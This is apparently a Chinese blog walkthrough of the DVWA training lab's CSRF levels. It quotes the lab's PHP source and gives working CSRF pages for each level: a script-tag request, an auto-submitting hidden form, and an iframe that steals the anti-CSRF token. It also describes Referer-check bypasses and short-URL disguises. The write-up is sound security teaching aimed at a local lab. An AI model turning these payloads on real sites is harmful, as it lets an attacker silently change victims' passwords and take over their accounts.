往期博文:
DVWA靶場-Brute Force Source 暴力破解
靶場環境搭建
目錄
CSRF 跨站請求僞造
Low CSRF
核心代碼
<?php ···
if( isset( $_GET[ 'Change' ] ) ) { // 獲取密碼 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// 密碼是否一致 if( $pass_new == $pass_conf ) { // 如果一致,更新數據庫 $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } }
··· ?> |
由於get 方式得到的,且沒有任何的防禦措施,用戶只需訪問以下url,便可直接修改密碼。
那麼,怎麼樣讓攻擊更爲隱蔽且更爲符合實際呢
1、短網址
我這裏使用的是站長之家的短鏈生成
使用短鏈生成工具,當受害者訪問這個網址的時候,會被重定向
http://tool.chinaz.com/Tools/dwz.aspx
使用curl -i 可以看查看重定向信息
2、配合XSS
XSS和CSRF 結合使用,會使攻擊更加隱蔽
這裏我們在本地搭一個html 頁面,在其中插入
<script src="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
類似的還有
iframe 標籤(加上)、img標籤,
凡是帶有src 屬性的標籤都可以配合CSRF使用,至於頁面的的設計,如何誘使用戶進入頁面等等,就要看社工的水平了。
我們來模擬這樣一個場景
本地服務器搭建html頁面:
csrf_payload.html
<html>
<head>
<title>XSS&CSRF</title>
</head>
<body>
<script src="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
</body>
</html>
在用戶當前瀏覽器中訪問這個頁面,DVWA的admin用戶的密碼就被修改了。
Medium CSRF
核心代碼
<?php ···
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { ··· }else { echo "<pre>That request didn't look correct.</pre>"; }
··· ?> |
stripos(str1, str2)檢查str2在str1中出現的位置(不區分大小寫),如果有返回True,反之False
相較於low 版,中級增加了 使用stripos()函數來驗證 http_referer 和 server_name是否來自同一域,我們只需要手動修改提交的referer 字段,就可輕鬆繞過 。
同樣,如何讓其更具實際呢
我們構造如下html頁面:
<html>
<head>
<meta charset='utf-8'>
</head>
<body>
<form
method = "get" id = "csrf_test" action = "http://192.168.1.200/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123.com">
<input type="hidden" name="password_conf" value="123.com">
<input type="hidden" name="Change" value="Change">
</form>
<script>document.forms["csrf_test"].submit();//自動觸發csrf_test表單
</script>
</body>
直接訪問,這個頁面,會被referer檢測機制阻攔,如何繞過呢
繞過referer檢測
本地搭建一臺http服務器,ip:192.168.1.156,使用上述代碼創建html頁面
目錄混淆
在http服務器的web 根目錄下創建目錄 192.168.1.200
使用當前瀏覽器直接訪問
文件名混淆
將html 文件改名爲 192.168.1.200.html
使用當前瀏覽器直接訪問
?傳參混淆
? .. 會被當作是傳遞的參數,這裏我們只傳值,不會對頁面產生影響
使用當前瀏覽器直接訪問
以上三種繞過方式都可以繞過,referer 字段檢測,修改賬戶密碼
訪問成功後,頁面會直接跳轉,到該頁面,顯示密碼成功修改
High CSRF
核心代碼
<?php ···
// 驗證token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
··· ?> |
相較於low 難度,高級難度增加了token 驗證機制,我們就需要先獲得token值,再對其進行攻擊
我們構建如下html頁面
scrf_high.html
<html>
<script>
function attack(){
document.getElementsByName('user_token')[0].value=document.getElementById("csrf").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("csrf_high").submit();
}
</script>
<iframe src="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/" id="csrf" border="0" style="display:none;"></iframe>
<body onload="attack()">
<form method="GET" id="csrf_high" action="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
在html頁面中構造一個iframe 框架,它會獲得當前的token值,使用獲取到的token值向服務器發送修改密碼的get請求,服務器響應,修改成功。但是,這種方法會受到不能跨域的限制,我這裏只能將其放入到DVWA 靶場服務器的web根目錄下,測試效果。
訪問頁面:
頁面跳轉修改成功
Impossible CSRF
核心代碼
<?php
if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = mysqli_real_escape_string( $pass_curr ); $pass_curr = md5( $pass_curr );
// Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
// Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = mysqli_real_escape_string( $pass_new ) ; $pass_new = md5( $pass_new );
// Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
// Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match or current password incorrect.</pre>"; } }
// Generate Anti-CSRF token generateSessionToken();
?> |
修改修改密碼之前需要驗證原始密碼(簡單粗暴),在攻擊者不知道原始密碼的基礎上,是無法進行CSRF攻擊的,這是比較常見的且有效的預防CSRF 攻擊的防禦手段,同時,在防禦sql注入攻擊上使用PDO 技術。
參考文章: